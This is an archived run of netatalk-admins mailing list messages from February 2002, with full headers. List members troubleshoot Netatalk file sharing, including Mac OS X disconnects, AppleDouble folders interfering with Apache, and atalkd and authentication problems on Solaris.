> Date: Fri, 15 Feb 2002 08:53:56 -0500
> To: <netatalk-admins@umich.edu>
> Subject: DB3
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Fri, 15 Feb 2002 08:55:21 -0500 (EST)
> 
> so, i'm apparently taking somewhat of a risk in running netatalk 1.5.0 with
> DID scheme=cnid, and thus the errors i'm getting are probably my own damned
> fault.
> 
> woohoo.
> 
> anyway, is there a preferred version of the berkley db3 software i should be
> running for the cnid scheme? my system already has 3.1.17 on it (redhat
> 7.1ish) though i see that there are RPMs for 3.2.9-4 and a tarball for 4.0.14
> 
> testing the RPM, i see that it breaks a lot of dependencies (and thus, i could
> spend another day doing the RPM dependency dance..) and i'm wary of installing
> the tarball for similar reasons - a lot of stuff apparently depends on the
> version of the db3 libs i have installed currently
> 
> 


From netatalk.administrators-errors@umich.edu  Fri Feb 15 15:15:54 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id PAA05947
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Feb 2002 15:15:54 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with LDAP id g1FKFsr15972
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Feb 2002 15:15:54 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with X.500 id g1FKFsU15962
	for netatalk.administrators-members@umich.edu; Fri, 15 Feb 2002 15:15:54 -0500 (EST)
Received: from jeeves.local (ip68-4-79-169.oc.oc.cox.net [68.4.79.169])
	by kidgalahad.mr.itd.umich.edu (3.6u) with ESMTP id g1FKFrY15954
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 15:15:53 -0500 (EST)
Received: from [192.168.0.151] (t1.local [192.168.0.151])
	by jeeves.local (8.11.6/8.11.6) with ESMTP id g1FKFOi26775;
	Fri, 15 Feb 2002 12:15:24 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Fri, 15 Feb 2002 12:14:58 -0800
Subject: Re: Disconnect from OSX (is this a known issue)?
From: Steve Freitas <sflist@ihonk.com>
To: Kyle Johnson <kyle.johnson@duke.edu>, <netatalk-admins@umich.edu>
Message-ID: <B892AC41.B343%sflist@ihonk.com>
In-Reply-To: <B8928D3F.79C6%kyle.johnson@duke.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

I believe OS X's AppleShare client currently has known bugs with some
fileservers, and we're out of luck until Apple fixes it. For more
information, you'll want to inquire on the netatalk-devel list that's
available from http://sf.net/projects/netatalk

Steve

> From: Kyle Johnson <kyle.johnson@duke.edu>
> Date: Fri, 15 Feb 2002 10:02:39 -0500
> To: <netatalk-admins@umich.edu>
> Subject: Disconnect from OSX (is this a known issue)?
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Fri, 15 Feb 2002 10:04:31 -0500 (EST)
> 
> I'm running Netatalk 1.5.1.1 on Redhat Linux 7.2.  Previously we had the
> 1.5pre2 release (I think that's what Redhat is still shipping by default).
> The problem I am having with both versions is that I can't maintain a mount
> on my OSX 10.1.2 box.  I can select the server either via URL or the network
> browser, and I get authenticated, but after I select the volume I want to
> mount I immediately get a message saying:
> 
> The fileserver <servername> has unexpectedly closed down.
> 
> Is there a configuration change that needs to be made, or does this just not
> work.  I have feeling this has been asked before, but since there's no
> searchable list archive I could find...  '-)
> 
> Thanks.
> 
> /kyle
> ---
> Kyle Johnson                                     kyle.johnson@duke.edu
> Manager, Information Systems        http://www.studentaffairs.duke.edu
> Duke University Student Affairs
> -----------------------------------------------------------------------
> If it's in stock, we've got it.
> 
> 


From netatalk.administrators-errors@umich.edu  Fri Feb 15 15:18:16 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id PAA06136
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Feb 2002 15:18:16 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA13427
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Feb 2002 15:18:16 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA13420
	for netatalk.administrators-members@umich.edu; Fri, 15 Feb 2002 15:18:16 -0500 (EST)
Received: from jeeves.local (ip68-4-79-169.oc.oc.cox.net [68.4.79.169])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA13354
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 15:18:14 -0500 (EST)
Received: from [192.168.0.151] (t1.local [192.168.0.151])
	by jeeves.local (8.11.6/8.11.6) with ESMTP id g1FKHwi26779;
	Fri, 15 Feb 2002 12:18:06 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Fri, 15 Feb 2002 12:17:32 -0800
Subject: Re: netatalk bi-directional?
From: Steve Freitas <sflist@ihonk.com>
To: Wolf Drechsel <drechsel@verkehrsplanung.com>, <netatalk-admins@umich.edu>
Message-ID: <B892ACDC.B344%sflist@ihonk.com>
In-Reply-To: <f05100300b89272e674ed@[192.168.1.5]>
Mime-version: 1.0
Content-type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id PAA06136

Maybe some day. Somebody needs to start coding... :-(

Steve

> From: Wolf Drechsel <drechsel@verkehrsplanung.com>
> Date: Fri, 15 Feb 2002 09:14:50 +0100
> To: netatalk-admins@umich.edu
> Subject: netatalk bi-directional?
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Fri, 15 Feb 2002 03:18:06 -0500 (EST)
> 
> Hello friends,
> 
> will there be a "bi-directional" netatalk some day? - The samba thing
> can (as far as I know) work as a server as well as a client. I'd love
> a Apple talk client for linux to do backups with little system load
> on the mac.
> 
> Is it so difficult to implement "the other direction", when You once
> have figured out how the apple talk protocol works? -
> 
> I've tried the afpd (or so) package - but its true, what the
> maintainer writes: "Be afraid. Be VERY afraid".
> 
> Greetings
> 
> WD
> --
> ************************************************************
> # Gesellschaft für fahrgastorientierte Verkehrsplanung b.R.
> # Köhnstr. 54   D-90478 Nürnberg
> #
> # Telephon: 0911/4 71 98 49
> # Telefax: 0911/47 39 36
> #
> # drechsel@verkehrsplanung.com
> # www.verkehrsplanung.com
> #************************************************************
> 
> 


From netatalk.administrators-errors@umich.edu  Fri Feb 15 15:21:11 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id PAA06542
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Feb 2002 15:21:11 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with LDAP id g1FKLBK19640
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Feb 2002 15:21:11 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with X.500 id g1FKLAN19630
	for netatalk.administrators-members@umich.edu; Fri, 15 Feb 2002 15:21:10 -0500 (EST)
Received: from jeeves.local (ip68-4-79-169.oc.oc.cox.net [68.4.79.169])
	by kidgalahad.mr.itd.umich.edu (3.6u) with ESMTP id g1FKL9Y19613
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 15:21:09 -0500 (EST)
Received: from [192.168.0.151] (t1.local [192.168.0.151])
	by jeeves.local (8.11.6/8.11.6) with ESMTP id g1FKKMi26809;
	Fri, 15 Feb 2002 12:20:22 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Fri, 15 Feb 2002 12:19:56 -0800
Subject: Re: AppleDouble & apache
From: Steve Freitas <sflist@ihonk.com>
To: Ken Gillett <keng@btinternet.com>,
        netatalk-admins <netatalk-admins@umich.edu>
Message-ID: <B892AD6C.B348%sflist@ihonk.com>
In-Reply-To: <p05100305b892d686059f@[10.0.1.10]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Let's see, a couple of ideas. First, I don't think BBEdit will save resource
information unless you tell it to change your filetypes to BBEdit type. So
you should be able to save without BBEdit creating an AppleDouble file, and
if you specify "noadouble" as an option for that volume in
AppleVolumes.default, that might solve the problem.

Another idea: Set up your permissions so that apache can't read inside the
.AppleDouble folder, but the user you're using to write the config files
can.

Steve

> From: Ken Gillett <keng@BTInternet.com>
> Date: Fri, 15 Feb 2002 15:24:27 +0000
> To: Netatalk List <netatalk-admins@umich.edu>
> Subject: AppleDouble & apache
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Fri, 15 Feb 2002 11:12:59 -0500 (EST)
> 
> I have a shared folder that I want to specify as containing
> configuration files to be included as part of apache's configuration.
> The trouble is that apache parses the .AppleDouble folder and
> everything in it and none of it makes any sense in terms of apache,
> so understandably it fails to start. I have found that if I ensure it
> is empty and not writable by the user who has it mounted (so nothing
> can be saved in there) then apache is happy with that empty folder.
> 
> But, I cannot edit these files on the Mac side (the whole point of
> mounting it) since BBEdit HAS to save stuff in the .AppleDouble
> folder (which it cannot do) so the save fails.
> 
> Of course it only applies to this folder which is specified as
> 'Include'd in httpd.conf.
> 
> Can anyone suggest a way to allow resource data to be saved, yet
> preventing apache from trying to read it as configuration data on
> startup?
> -- 
> 
> 
> 
> Ken  G i l l e t t
> 
> _/_/_/_/_/_/_/_/_/
> 
> 


From netatalk.administrators-errors@umich.edu  Fri Feb 15 15:32:28 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id PAA09145
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Feb 2002 15:32:28 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA26232
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Feb 2002 15:32:28 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA26227
	for netatalk.administrators-members@umich.edu; Fri, 15 Feb 2002 15:32:27 -0500 (EST)
Received: from sylvester.anet.uwrf.edu (sylvester.anet.uwrf.edu [139.225.32.119])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA26222
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 15:32:27 -0500 (EST)
Received: from [139.225.72.22] (bunny.css.its.uwrf.edu [139.225.72.22])
	by sylvester.anet.uwrf.edu (8.9.3/8.9.3) with ESMTP id OAA28114;
	Fri, 15 Feb 2002 14:32:24 -0600
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Fri, 15 Feb 2002 14:32:23 -0600
Subject: Re: AppleDouble & apache 
From: "Robert J. Rust" <robert.j.rust@uwrf.edu>
To: Ken Gillett <keng@btinternet.com>
CC: netatalk admins <netatalk-admins@umich.edu>
Message-ID: <B892CC77.7650%robert.j.rust@uwrf.edu>
In-Reply-To: <28649.1013791131@deepeddy.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> 
> I haven't tried this, but what if you create a symbolic link from the apache
> config directory to a copy which is in an area mounted from the Mac.
> That way all apache would see is the link.  I assume apache would follow the
> link.
> 
> Chris

Actually, I would symlink to the config files themselves rather than the
directory.  That way you could put the symlink somewhere where BBEdit had
the ability to create the file in .AppleDouble that it wants, and still
actually edit the data in the config files.  This would involve multiple
symlinks, but I think it's doable.

Robert

-- 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Robert J Rust
Microcomputer Support Specialist
UW - River Falls IT Services
(715) 425-4357
robert.j.rust@uwrf.edu
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


From netatalk.administrators-errors@umich.edu  Fri Feb 15 18:05:20 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id SAA18110
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Feb 2002 18:05:20 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with LDAP id g1FN5Kp12065
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Feb 2002 18:05:20 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with X.500 id g1FN5Jg12054
	for netatalk.administrators-members@umich.edu; Fri, 15 Feb 2002 18:05:19 -0500 (EST)
Received: from hirsch.in-berlin.de (hirsch.in-berlin.de [192.109.42.6])
	by kidgalahad.mr.itd.umich.edu (3.6u) with ESMTP id g1FN5IY12047
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 18:05:18 -0500 (EST)
Received: from hirsch.in-berlin.de (localhost [127.0.0.1])
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with ESMTP id g1FN54Fw006344
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT)
	for <netatalk-admins@umich.edu>; Sat, 16 Feb 2002 00:05:04 +0100
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with UUCP id g1FN52IX006314
	for netatalk-admins@umich.edu; Sat, 16 Feb 2002 00:05:02 +0100
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: netatalk-admins@umich.edu
Received: from srittau by jroger.in-berlin.de with local (Exim 3.34 #1 (Debian))
	id 16bqfM-0005Pm-00
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 23:17:16 +0100
Date: Fri, 15 Feb 2002 23:17:14 +0100
To: netatalk-admins@umich.edu
Subject: Re: atalkd under solaris 8
Message-ID: <20020215221714.GB3944@jroger.in-berlin.de>
Mail-Followup-To: netatalk-admins@umich.edu
References: <5.1.0.14.2.20020215153229.00b6f620@welt.gekko.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
In-Reply-To: <5.1.0.14.2.20020215153229.00b6f620@welt.gekko.de>
User-Agent: Mutt/1.3.27i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

On Fri, Feb 15, 2002 at 03:32:32PM +0100, Andreas Westendörpf wrote:

> i'm currently having some difficulties configuring an appletalk fileserver 
> under solaris8. i tried to get netatalk v1.5.1.1 working. what a pain in 
> the a**. finally it compiled without errors,

*Please* tell us about the errors if you can. We would really like to
fix them.

> but then, when i start atalkd 
> it says:
> "atalkd: zero interfaces, exiting."
> 
> yes, i did create a file in /usr/local/atalkd/etc/ called atalkd.conf with 
> the name of my ethernet-device in it (hme0).
> but still it doesn't work. same effect when i remove the atalkd.conf file.

Are you sure that atalkd looks in /usr/local/atalkd/etc? If in doubt,
please use a utility like strace to find out.

 - Sebastian


From netatalk.administrators-errors@umich.edu  Fri Feb 15 19:10:54 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id TAA20709
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Feb 2002 19:10:53 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA14081
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Feb 2002 19:10:53 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA14079
	for netatalk.administrators-members@umich.edu; Fri, 15 Feb 2002 19:10:53 -0500 (EST)
Received: from mailgate.ci.tacoma.wa.us (mailgate.ci.tacoma.wa.us [131.191.254.40])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA14069
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 19:10:52 -0500 (EST)
From: CSBURRIS@ci.tacoma.wa.us
Received: from m3.ci.tacoma.wa.us (m3.ci.tacoma.wa.us [131.191.130.35])
	by mailgate.ci.tacoma.wa.us (8.8.8/8.8.8) with ESMTP id QAA05264
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 16:10:51 -0800 (PST)
Received: by m3.ci.tacoma.wa.us with Internet Mail Service (5.5.2653.19)
	id <10CF6D8H>; Fri, 15 Feb 2002 16:10:50 -0800
Message-ID: <49A5DC0AF7A9D3119C7D00A0C9E3064503250ABF@m4.ci.tacoma.wa.us>
To: netatalk-admins@umich.edu
Subject: RE: atalkd under solaris 8
Date: Fri, 15 Feb 2002 16:10:49 -0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id TAA20709

In Solaris, you need to put the interface (le0, eri0, etc) in the
atalkd.conf.

Now if I could just get authenticated with netatalk 1.5.1.1 in Solaris....
I can only login as guest. And I've had netatalk working on Solaris for
months!!!!

> ----------
> From: 	Sebastian Rittau
> Sent: 	Friday, February 15, 2002 2:17 PM
> To: 	netatalk-admins@umich.edu
> Subject: 	Re: atalkd under solaris 8
> 
> On Fri, Feb 15, 2002 at 03:32:32PM +0100, Andreas Westendörpf wrote:
> 
> > i'm currently having some difficulties configuring an appletalk
> fileserver 
> > under solaris8. i tried to get netatalk v1.5.1.1 working. what a pain in
> 
> > the a**. finally it compiled without errors,
> 
> *Please* tell us about the errors if you can. We would really like to
> fix them.
> 
> > but then, when i start atalkd 
> > it says:
> > "atalkd: zero interfaces, exiting."
> > 
> > yes, i did create a file in /usr/local/atalkd/etc/ called atalkd.conf
> with 
> > the name of my ethernet-device in it (hme0).
> > but still it doesn't work. same effect when i remove the atalkd.conf
> file.
> 
> Are you sure that atalkd looks in /usr/local/atalkd/etc? If in doubt,
> please use a utility like strace to find out.
> 
>  - Sebastian
> 
> 

From netatalk.administrators-errors@umich.edu  Fri Feb 15 20:50:09 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id UAA24407
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Feb 2002 20:50:09 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with LDAP id g1G1o9X06145
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Feb 2002 20:50:09 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with X.500 id g1G1o8006139
	for netatalk.administrators-members@umich.edu; Fri, 15 Feb 2002 20:50:08 -0500 (EST)
Received: from hirsch.in-berlin.de (hirsch.in-berlin.de [192.109.42.6])
	by kidgalahad.mr.itd.umich.edu (3.6u) with ESMTP id g1G1o7Y06123
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 20:50:07 -0500 (EST)
Received: from hirsch.in-berlin.de (localhost [127.0.0.1])
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with ESMTP id g1G1o2Fw018409
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT)
	for <netatalk-admins@umich.edu>; Sat, 16 Feb 2002 02:50:03 +0100
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with UUCP id g1G1o2v3018407
	for netatalk-admins@umich.edu; Sat, 16 Feb 2002 02:50:02 +0100
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: netatalk-admins@umich.edu
Received: from srittau by jroger.in-berlin.de with local (Exim 3.34 #1 (Debian))
	id 16btxG-0004aa-00
	for <netatalk-admins@umich.edu>; Sat, 16 Feb 2002 02:47:58 +0100
Date: Sat, 16 Feb 2002 02:47:58 +0100
To: netatalk-admins@umich.edu
Subject: Re: atalkd under solaris 8
Message-ID: <20020216014758.GB17548@jroger.in-berlin.de>
Mail-Followup-To: netatalk-admins@umich.edu
References: <49A5DC0AF7A9D3119C7D00A0C9E3064503250ABF@m4.ci.tacoma.wa.us>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <49A5DC0AF7A9D3119C7D00A0C9E3064503250ABF@m4.ci.tacoma.wa.us>
User-Agent: Mutt/1.3.27i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

On Fri, Feb 15, 2002 at 04:10:49PM -0800, CSBURRIS@ci.tacoma.wa.us wrote:

> Now if I could just get authenticated with netatalk 1.5.1.1 in Solaris....
> I can only login as guest. And I've had netatalk working on Solaris for
> months!!!!

Are the uams in the right directory? Is this directory really searched
by afpd? Do you use PAM? What does your PAM file look like? Is the PAM
file in the right directory? Is that directory really searched by afpd?

 - Sebastian


From netatalk.administrators-errors@umich.edu  Fri Feb 15 20:57:32 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id UAA24596
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Feb 2002 20:57:31 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id UAA29114
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Feb 2002 20:57:31 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id UAA29105
	for netatalk.administrators-members@umich.edu; Fri, 15 Feb 2002 20:57:31 -0500 (EST)
Received: from modbee.com (mail.modbee.com [206.151.134.200])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id UAA29082
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 20:57:30 -0500 (EST)
Received: from exchange.modbee.com ([172.17.52.18]) by gateway.modbee.com with ESMTP id <115203>; Sat, 16 Feb 2002 17:57:54 -0800
Received: from [172.17.54.66] (172.17.54.66 [172.17.54.66]) by exchange.modbee.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id 17KAYGGZ; Fri, 15 Feb 2002 17:57:23 -0800
User-Agent: Microsoft-Entourage/10.0.0.1309
Date: Fri, 15 Feb 2002 17:57:16 -0800
Subject: MacOS-X issues.
From: Tyler Hardison <thardison@MODBEE.COM>
To: <netatalk-admins@umich.edu>
Message-ID: <B892FC7C.3C%thardison@modbee.com>
In-Reply-To: <20020216014758.GB17548@jroger.in-berlin.de>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi everyone, 

    Can anyone tell me what the current issues with OS-X based machines and
netatalk? 

Thanks!

Tyler.


From netatalk.administrators-errors@umich.edu  Fri Feb 15 22:48:33 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id WAA29776
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Feb 2002 22:48:33 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id WAA04764
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Feb 2002 22:48:33 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id WAA04762
	for netatalk.administrators-members@umich.edu; Fri, 15 Feb 2002 22:48:32 -0500 (EST)
Received: from mail4.nc.rr.com (fe4.southeast.rr.com [24.93.67.51])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id WAA04758
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 22:48:31 -0500 (EST)
Received: from [192.168.1.13] ([24.25.10.149]) by mail4.nc.rr.com  with Microsoft SMTPSVC(5.5.1877.687.68);
	 Fri, 15 Feb 2002 22:48:43 -0500
User-Agent: Microsoft-Entourage/10.0.1.1705
Date: Fri, 15 Feb 2002 22:48:23 -0500
Subject: Re: MacOS-X issues.
From: Kyle Johnson <kyle.johnson@duke.edu>
To: Netatalk <netatalk-admins@umich.edu>
Message-ID: <B89340B7.7A6C%kyle.johnson@duke.edu>
In-Reply-To: <B892FC7C.3C%thardison@modbee.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 2/15/02 8:57 PM, "Tyler Hardison" <thardison@MODBEE.COM> wrote:

>   Can anyone tell me what the current issues with OS-X based machines and
> netatalk? 

Just this morning I asked just the same thing.  The one big one seems to be
that you can't keep a server mounted via the GUI.  Even with 1.5.1.1 I get a
disconnect message right after the connect.  One of our Linux geeks sent me
this link:

<http://marc.theaimsgroup.com/?l=netatalk&m=101290312429385&w=2>

It basically steps through how to get logging going to test.  The odd thing
was that I was able to get the Netatalk volume mounted using the CLI, but
not the GUI.  I took both logs and have forwarded them to our Apple SE to
see if he can get it escalated.  BTW, the message speaks of launching the
Finder from the CLI, but doesn't give the command, so here it is:

%/System/Library/CoreServices/Finder.app/Contents/MacOS/./Finder

The really thing I discovered was that not only can I mount the volume using
the CLI, but I can also do it from the Classic Chooser (and have the volumes
available to OSX apps).

I've taken so long getting past this issue, I haven't had time to find any
other issues.  '-)

/kyle
---
Kyle Johnson                                     kyle.johnson@duke.edu
Manager, Information Systems        http://www.studentaffairs.duke.edu
Duke University Student Affairs
-----------------------------------------------------------------------
The box said 'Requires Windows 95, or better.' So I bought a Macintosh.


From netatalk.administrators-errors@umich.edu  Fri Feb 15 23:02:45 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id XAA00282
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Feb 2002 23:02:45 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id XAA20230
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Feb 2002 23:02:45 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id XAA20220
	for netatalk.administrators-members@umich.edu; Fri, 15 Feb 2002 23:02:45 -0500 (EST)
Received: from mail.his.com (herndon10.his.com [209.67.207.13])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id XAA20200
	for <netatalk-admins@umich.edu>; Fri, 15 Feb 2002 23:02:44 -0500 (EST)
Received: from [192.168.1.125] (dsl092-166-101.wdc1.dsl.speakeasy.net [66.92.166.101])
	by mail.his.com (8.9.3/8.9.3) with ESMTP id XAA05285;
	Fri, 15 Feb 2002 23:02:42 -0500 (EST)
User-Agent: Microsoft-Entourage/10.0.0.1331
Date: Fri, 15 Feb 2002 23:02:58 -0500
Subject: Re: MacOS-X issues.
From: Rick Zeman <rzeman@his.com>
To: Kyle Johnson <kyle.johnson@duke.edu>, Netatalk <netatalk-admins@umich.edu>
Message-ID: <B8934422.93%rzeman@his.com>
In-Reply-To: <B89340B7.7A6C%kyle.johnson@duke.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 2/15/02 10:48 PM, "Kyle Johnson" <kyle.johnson@duke.edu> wrote:

> On 2/15/02 8:57 PM, "Tyler Hardison" <thardison@MODBEE.COM> wrote:
> 
>>   Can anyone tell me what the current issues with OS-X based machines and
>> netatalk? 
> 
> Just this morning I asked just the same thing.  The one big one seems to be
> that you can't keep a server mounted via the GUI.  Even with 1.5.1.1 I get a
> disconnect message right after the connect.  One of our Linux geeks sent me
> this link:
> 
> <http://marc.theaimsgroup.com/?l=netatalk&m=101290312429385&w=2>

I had a problem mounting Netware shares (via AFP/IP) and found this to be
the solution for gigabit-Ethernet Macs:

Add to your /etc/rc file (as a superuser):
sysctl -w net.link.ether.inet.apple_hwcksum_rx=0

 at the second to last line (right before the exit).  Reboot, and mounts
should work normally.



From netatalk.administrators-errors@umich.edu  Sat Feb 16 01:42:37 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id BAA06841
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 16 Feb 2002 01:42:37 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id BAA13167
